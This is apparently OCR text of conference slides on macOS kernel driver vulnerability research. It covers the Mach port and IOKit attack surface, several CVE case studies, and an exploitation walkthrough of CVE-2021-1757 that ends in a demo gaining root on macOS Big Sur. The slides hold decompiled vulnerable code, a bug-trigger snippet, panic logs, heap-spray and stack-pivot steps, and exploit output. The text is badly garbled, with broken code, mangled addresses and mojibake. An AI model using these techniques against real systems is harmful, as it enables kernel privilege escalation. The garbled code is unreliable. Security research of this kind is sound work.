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Mach Ports
/osfmk/ipc/ipc_object.h
Basic concepts struct ipc_port {
struct ipc_object ip_object;

L struct ipc_mqueue ip_messages;
1. Communication channels for IPC - -
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2. 32bit number in userspace } i
3.1ipc_port struct in kernel space ’ }
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4. Single receiver/One or Multiple Senders struct ipc_object {

ipc_object bits tio_bits;
ipc_object refs tio references;
Ick spin_tio lock data;

}__ attribute_ ((aligned(8)));
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Mach Ports

Basic concepts

1.  Many kernel data objects are wrapped with mach ports
2. E.g: Tasks(tfp0)/Driver instance(C++ obj)/clock/file_glob...

/osfmk/kern/ipc_kobject.h

#define IKOT CLOCK

#define IKOT IOKIT CONNECT
#define IKOT IOKIT OBJECT
#define IKOT VOUCHER
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ipe_port struct

05



Mach Ports For IPC

Overview
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Apple Driver

Attack Surface

ExternalMethod(driver independent)
Notification Port(CVE-2020-9768)
SharedMemory(TOCTOU)
clientClose(CVE-2018-4326)
setProperties(CVE-2016-1835)
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Apple Driver

Attack Surface

RN T Deepis [ Comondngoyenarn |
similar o getTargetAndMethodForIndex (legacy user-entry)

http://homes.sice.indiana.edu/luyixing/bib/CCS20-iDEA..pdf
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Case Studies

CVE-2016-1825(bazad)

I0Return IOHIDevice:setProperties( OSObject * properties )

{
OSDictionary * propertyDict = OSDynamicCast(OSDictionary, properties);
IORetun  ret = kiOReturnBadArgument;

if ( propertyDict ) {
if (propertyDict->setOptions(0, 0) & OSDictionary: kimmutable) {
OSDictionary * temp = propertyDict;
propertyDict = 0SDynamicCast(OSDictionary, temp->copyCollection();
b

else {
propertyDict->retain();

i
propertyDict->setObject(kIOHIDDeviceParametersKey, kOSBooleanTrue);
ret = setParamProperties( propertyDict );
propertyDict->removeObject(kiOHIDDeviceParametersKey);
propertyDict->release();

return ret;

Z\

Ipoe
io_service_t service = I0ServiceGetMatchingService(kIOMasterPortDefault,
10ServiceMatohing(*IOHIDevice"));
I/ Set the I0UserClientClass property to IOPCIDiagnosticsClient.
I0RegistryEntrySetCFProperty(service,
CFSTR("IOUserClientClass’),
CFSTR('IOPCIDiagnosticsClient'));
Il Create a connection to the IOPCIDiagnosticsClient.
io_connect_t connection;
10ServiceOpen(service, mach_task_self(), 0, &onnection);




Case Studies

CVE-2018-4327(brightiup)

__int64 mDNSOffloadUserClient::clientClose(mDNSOffloadUserClient *this) {

mDNSOffloadUserClient *v1; // rbx __int64 v2; // rdi
__int64 v3; // rax
="*((_QWORD *)this + 27);

if (V2 ...

if (this->CommandGate )
V3 = (*(__int64 (__cdecl ~~)( QWORD))(**((_LQWORD *)v1 + 27) + 1672LL))

(*(LQWORD *v1 +27));
if (v3)

(*(void (__fastcall **)(_int64, _QWORD))(*(_QWORD *)v3 + 328LL))(v3, *((_QWORD "1 + 28));
this->CommandGate->release();

this->CommandGate = NULL; }

}

__int64 _fastcall mDNSOffloadUserClient
__int64 result; // rax
64 v6; // rdi
__int64 v7; // [rsp+8h] [rbp-8h]
V7 =a4;
result = 0xE0000001LL;
if (*((LQWORD *)this + 27) ) {
if (this—>CommandGate )
result = this->CommandGate->runAction(mDNSOffloadUserClies
doRequestGated, a2, a3, &7, as);

}
return result;
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Case Studies

CVE-2020-9768

__int64 AppleJPEGDriverUserClient::registerNotificationPort...)

ipc_port *curPort = this->_notifyPort;

fEregisterNotificationPort™, ANFLE.Z ¥ B idport, o)
EHTBCE BT Hport, [Aports | T Hi&-1 { : -
IOUserClient::releaseNotificationPort(curPort);

this->_notifyPort = OLL;

}

this->_notifyPort = port;
this->_portRefCnt = refCnt;
return OLL;

https://proteas.github.io/ios/vulnerability/2020/03 /27 /analysis-of-CVE-2020-9768.html




Case Studies

CVE-2020-9768
1A — B $startDecoder ™, 257 24 /i f3E %0

port, fﬁim%%ﬂmﬁk)ﬁ, £ EBMIER P EU port
HEATAE R

__int64 __fastcall AppleJPEGDriverUserClient::startDecoder(...)

internalRequest = PRTS_CreatelnternalRequest();
if (intemalRequest )

internalRequest->wakePort = notifyPort;

AppleJPEGDriver *_fastcall AppleJPEGDriver::PRTS_OnFinishedEvent(.
{

*&jpegRequest2->asyncRef wakePort = OLL;
AppleJPEGDriverUserClient::setAsyncReference6d(
&jpegRequest2->asyncRef,
ipegRequest2->wakePort,
ipegRequest2- >caHback
ipegRequest2->refcor
V22 = AppIeJPEGDnverUserChem sendAsyncResultsd(
&jpegRequest2->asyncRef,
ipegRequest2->result,
&jpegRequest2->args,

)
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From N day to 0 day

Inspiration examples

task_swap_mach_vou

1080211Family:

libxpc:







From N day to 0 day

Key point 2

Point: “Now a natural question comes into our mind: how many
connections can a client connect to a host at most? With this question

in mind, we created a simple test program that simply creates an
MPTCP socket and connects to a host many times.

Our purpose is to figure out when we cannot create new connections




From N day to 0 day
Key point 3

Point: “IO80211FamilyV2 is a brand new design for the mobile
eralO80211FamilyV2 and AppleBCMWLANCore integrate the original
AirPort Brem4331 / 4360 sries drivers, with more features and better
logic.Please also keep in mind, new features always mean new attack
surfaces. ”



From N day to 0 day
Case 1

int4.

fastcall I0SkywalkTester::newUserClient(IOSkywalkTester “this, task *a2, void *a3, unsigned int a4, IOUserClient **as)
10UserCiient *uc; / rax
10UserCiient *v7; / tbx

IOSkywalkTesterUserClient:withTask(a2, a2).
)
7 = uc;
if ( (unsigned __intg (_fastcall*j10UserClient *, I0SkywalkTester *)Juc->attach)(uc, this) )
‘a5 =v7;
else
printi(...y;
}
eise
printf(
“AssertMacros: %s, %s file: %s, line: %
“client’,
Bunk

d, value: S6ld\n",

10SkywakTesterop

”/Aw\eImeszBul\dRumlL\bvzry/Cacheslcum apple.xbs/Sources/I0SkywalkFamily/IOSkywalkFarily-165/I0SkywalkTester/"
retum OLL;
}
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From N day to 0 day
Case 1

__int64 _fastcall I0SkywalkTester:newUserClient(I0SkywalkTester “this, task a2, void *a3, unsigned int a4, IOUserClient **a5)
{
I0UserClient uc; / rax
I0UserClient *v7; // ox

uc = 10SkywalkTesterUserClient: withTask(a2, a2);
if (uc)
{

V7 =uc;
if (((unsigned __int8 (__fastcall *)(10UserClient *, I0SkywalKTester *))uc->attach)(uc, this) )
“at

:%s, %s file: %s, line: %d, value: %idn,
&unk_392BA,
"/Applelnteral/BuildRoot/Library/Caches/com.apple.xbs/Sources/IOSkywalkFamily/IOSkywalkFamily-165/10Skywalk Tester!"
"I0SkywalkTester.cpp",
L

}

return OLL;
}
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From N day to 0 day

Case 1(upper handle)

//is_io_service_open_extended
res = service->newUserClient( owningTask, (void *) owningTask,
connect_type, propertiesDict, &client );

if (propertiesDict) {
propertiesDict->release();
}

if (res kIOReturnsuccess) {

assert( OSDynamicCast(IOUserClient, client));
if (lclient->reserved) {
if (lclient->reserve()) {
client->clientClose();
OssafeReleaseNULL(client);
res = KIOReturnNoMemory;
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From N day to 0 day

Case 2

int64 __fastcall ApplelntelFramebufter:newUserCiient(ApplelntelFramebufer “this, task *a2, void *a3,
a5)

{
IOUserClient *v6; / rax
IOUserGlient *v7:

+sqword_C77F0;
if ((_DWORD)type == 0x3E8 )

V6 = ApplePMTGraphicslnformation: withTask(a2, a2);
it(v6)

(

7=8;

++qword_C7800;

if (((unsigned __int3 (_fastcall *J(OUserClient °, ApplelntelFramebuffer *))v6->attach)(v6, this) )

++qord_C7810;

i ( (unsigned
LABEL 7,

nt8 (_tastcall )(OUserClont *, ApplelntelFramebufer “)v7->star)(v7, tis) )

++qword_C7808;
((void (__fastcall *)(IOUserClient *, ApplelntelFramebufer *))v7->detach)(v7, this);
((void (_fastcall (IOUserClient *)}v7->release_0)

)

V7);

‘a5 =v7;
return OLL;
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From N day to 0 day

Case 3

TBAYFBEE D I ) BT E A

HREBEDRIEE Apple.

AR

EEFRESNRREE

Ox{ T 1fTboDbf53130

Oxtf 1118016498052

: OxTTTff{8015dc18c6
: OxffffffBol5dc15ad
70 : Oxfrffff8a15c2fa2;

Oxf{1fffbobbf534d0
1111 bObDT53510 :

Oxfffff7faed7afsa
Oxffffff7faed7acss

Oxfffff7faed7e0dd cor

mach_kernel
mach_kernel

_panic + 0x54
Zsync_iss_to_iks + 0x2c6
mach_kernel : _kernel_trap + 0x60d

mach_kernel : _return_from_trap + 0xff
com.apple.driver.AppleIntelICLGraphics
can.apple. driver .AppleInteLiCLGraphics
ple. driver. Applelnte LICLGraphics

__ZN101GPagePoo l4growEv + 0x185
ZN101GPagePool12al locatePageEy + 0x97

TN TGHarduareParPraces sPaneTah16d11exnand evel NS 1

|E BR¥ MEEE XN

Fnt ruTl n9F17GTTPaneTahl aEnt ryEENS1_ILn9E21GTTPageDirectoryEnt ryEEEE

macOS Big Sur

KK 11.3 Betaki (20E5186d)

MacBook Pro (13.inch 2020, Four Thunderbolt 3 ports)



From N day to 0 day

Case 4

R BRI BT SR .

RSB ERRIES Apple.

ERAR!
panic(cpu 2 caller Oxffffff801fb6da2s): userspace watchdog timeout: no successful checkins from com.apple.Windowserver in 120
seconds
service: com.apple. logd, total successful checkins since load (199 seconds ago): 20, last successful checkil

: 0 seconds ago
service: com.apple.WindowServer, total successful checkins since load (160 seconds ago): 4, last successful checkin: 120 seconds
ag

ir
ago
service: com.apple. remoted, total successful checkins since load (190 seconds ago): 18, last successful checkin: 0 s

WE RR# fME=E X

macOS Big Sur
ME 1.2

MacBook Pro (13-inch, 2020, Four Thunderbolt 3 ports)
2388 2 GHz Wi intel Core i5

W 16 GB 37:

gunents.
3 MHz LPDDRAX AtchPROSOhiectPy + Ax1de
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Attack macOS Big Sur

Kernel Debug?

keenjoy95 Update README.md

doc
kemon.xcodeproj

kemon

Peterpan0927

read -~ Read from the memory of the current target process.

region -~ Get information on the memory region containing an address in
the current target process

meno read -G 20gx OxFFFFFF800eebcaz3

OxFFFFFF800eeb:
OxFFFFFF800eeb:

a 484 74200
ca33: 0x0138287c83420000 0x8348077428048d4a
cad3: 0x40C7482875001878 0x40C7480000000010

OxFFFFEF b

OxFFFFFF800eeh:

0x003c4 0 it
CaB3: 0x44382b4CF420000 OxFFE500d44b033d89

OxFFFFFF800eebcaa3:

0x9c4275045040600 0x00000200c4 74158

ab3:

eebfazl

s
Process 1 stopped
* thread #1, stop reason =

frame #0: OxFFFFf80deebcass kernel'DebuggeriithContext(reason=<unavailable>
, Ctx=<unavailable>, message=<unavailable>, debugger_options_mask=0) at d
692:18 [opt]
Target 0: (kernel) stopped

bt

bug. c:

* thread #1, stop reason =
* frame #0: OxFFFFFF800ecbcass kernel'DebuggeriithContext(reason=<unavailable>
~<unavailable>, message=<unavailable>, debugger_options_nask=0) at debug.c:

) ct
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Attack macOS Big Sur

CVE-2021-1757

char *__fastcall

I0SkywalkTesterUserClient: rgetAndMethodForindex(IOSkywalkTesterUserClient *this,
I0Service **a2, unsigned int a3)
{

_QWORD rbx2; // rbx

char *result; // rax

if(a2)

{

rbx2 = (char *)&lOSkywalkTesterUserClient::sMethods + 0x30 * a3;
*a2 = (I0Service *)this;
¥

31



CVE-2021-1757

Attack macOS Big Sur

H HHHH\M\HH\H\ H\H\HHIHH\HIHHH\IHIHIH\HHIHH it \HHHH\I\HHHW \HHH \HH \HHH \HHH It \HHH Il HHHHH HHHHH HHHHH HHH\HH\HHHIH A A A A

e Bl Unoird B et
18 DA View-A | x) 18 Psoudocode-B « 1B Pseudocode-A  x B8 Stringswindow 18 Hex View-1  x Y Stucures  x B Enun
[IOExternalMethod *. fustcull I0Skywal lient: dex(I0SkywalkTestery

IoExternalMethod *method; // x8
if (a2 )
{

method = (IOExternalMethod *)((char *)sIOSkywalkTesterUserClient::sMethods + 48 * selector);
a2 = (I0Service *)this;

¥
else

printf(
‘Assextnacros %s, %s file: %s, line: %d, value: %$ld\n",

sbyte FeFerERO074AM93E,
" /LibTary/Caches/com. apple. xbs/Sources/105kywalkFamily/T0SkywalkFamily-166 . 40.6/T05kyvalkTest:
i,

nethod’ = 0rz;

}
return method;

32



Attack macOS Big Sur
OOB Read

} else {
IOExternalMethod * method;
object = NULL;
if (!(method = getTargetAndMethodForIndex(&object, selector))
return kIOReturnUnsupported;

}

if (kIOUCForegroundOnly & method->flags) {
if (task_is_gpu_denied(current_task())) {
return kIOReturnNotPermitted;
}
}

lobject) {

33









Attack macOS Big Sur 2

Panic Try

panic(cpu 2 caller axffffffaoazbetars el trap at Oxfffff8003247e9a, type l4=page fault, registers:

0x0000000080010033, ox ffffffamesseaao, CR3: 8x00000003a1442055, CR4: 08x00000008003626c0
Oxffffff800552a390, B 0x0000000000000000, OxFf 9371322208
Oxffffffa073a2a3a00, RBP: Oxffffffa073aa3ado, ) 0x0000000000000010
OxFFFfff937067db8, R9: 0x00000000FFffFFff, 0x0000000041414141] OxFfTfff9370767dbd
Oxffffffan73aa3ba0, R13: Oxffffffo37132aa30, @, R15: 0x0000000000000008
0x0000000000010202, RIP: Oxffffff8003247e9a, CS: 0x0000000000000008, SS: ©x0000000000000010
CR2: Oxffffff804693e4dd, Error code: 0x0000000000000000, Fault CPU: 0x2, PL: 0, VF:

Backtrace (CPU 2), Frame : Return Address
Oxffff8002abc66d mach_kernel : ,hana\e,aeuugger,xrap + 0x3dd

Zreturn_from_trap + Oxff
DebuggerTraphithState + oxad
Zpanic_trap_to_debugger + 0x268
ox{1ff{80032beela mach_kernel : _panic + @x54
OxfFffB002befaZ6 mach_kernel : _sync_iss_to_iks + Ox2c6
SxETHasRherTSd ach kermel : Kernel_trap + 860
ox{1ff{8002a61a2f mach_kernel : _return_from_trap + Oxff
Oxfffff8003247e9a mach_kernel : _shim_io_connect methnd structurel_structure0 + 0x7a
oxfTfff8003246247 mach_kernel
S2N2IWserC Lient1dexternalMethode P25T0Ete e e thodArgumentsP24T0Externa HethodD spatchPa0SDbf ectPy + 0337
ExtitttiadTaashan : OxtiriffaBos2sazbh mach kernel : s o comnect method +
ONFrF1a07 390360 | Ot 110007baaa61 mach Kernel | “iokit corver Toeting + axidbl
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Attack macOS Big Sur
Heap Spray

kext.kalloc(IOMalloc) data kalloc(OOL msg)

10SkywalkFamily
baseAddr+slide

or(ui
bout 190GB max)

37



Attack macOS Big Sur
Control more

//48 bytes total

struct IOExternalMethod
I0Service *  object;
//10x10
I0Method func;

100ptionBits  flags;
10ByteCount cou
10ByteCount cou

{ enum {
klIOUCTypeMask = 0x0000000f,
klOUCScalarlScalarO =0,

/ kIOUCScalarlStructO = 2,
klIOUCStructIStructO = 3,

nto; kIOUCScalarlStructl = 4,

nt1 h

Z\ N
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Attack macOS Big Sur

Type Conversion

Control More Registers!

switch (method->flags & kIOUCTypetask) {
shm,xa,csnnact,method,scalazr,suucmxeI‘ method, object,
args->scalarInput, args->scalarInputCount,
(char *) args->structurelnput, args->structurelnputSize );

_method_scalarI_scalarO( method, object,
calarInput, args->scalarInputCount,
args-)scala!ﬂutput, sargs->scalarOutputCount );
break;




Attack macOS Big Sur

Type Conversion

Control More bits!

switch (inputCount) {
e

(object->*func) ( ARG32(input[0]), ARG32(input[1]), ARG32(input[2]),
ARG32(input[3]), ARG32(input[4]),
inputStruct );
break;
case
err (object->*func)( ARG32(input[0]), ARG32(input[l]), (veid *)
input[2],
ARG32(input[3]),
inputStruct, (void *)(uintptr_t)inputStructCount );

(object->*func) ( ARG32(input[0]), ARG32(input[1]), ARG32(input(2]),
inputStruct, (void *)(uintptr_t)inputStructCount,
NULL );

break; 4 0
















Attack macOS Big Sur

Heap Feng Shui

user controlled rex

mov rsp, [rex+8]

jmp [rex+0x38]
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Show time
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Attack macOS Big Sur

Demo

sw_vers
macos

ProductVersion: 11.0.1

BuildVersion: 20829

P ./exploit

[+] heap spraylinfoleak] done.

[+] kslide : 0x1dc0e0eo

[+] heap spray[stage2] done..

get connection @x470e707

[+] get root

The default interactive shell is now zsh.

To update your account to use zsh, please run ‘chsh -s /bin/zsh’.
please visit https://support.apple.com/kb/HT268050.

bash-3.
uid=0(root) gid=0(wheel) egid=20(staff) groups=e(wheel),1(daemon),2(kmem),3(sys
,4(tty),5(operator),8(procview),9(procmod),12(everyone), 20(staff), 29 (certusers)
61(localaccounts),88(admin), 704 (com.apple. sharepoint.group.4),703(com.apple.shar
epoint.group.3), 761 (con. apple. sharepoint.group.1), 33(_appstore), 98(_lpadnin), 100
erator),264(_developer),250(_analyticsusers),395(com.apple.access_ftp),398
(con.apple.access_screensharing), 399 (com.apple.access_ssh), 408 (con. apple.access_
remote_ae), 762 (com.apple.sharepoint.group.2
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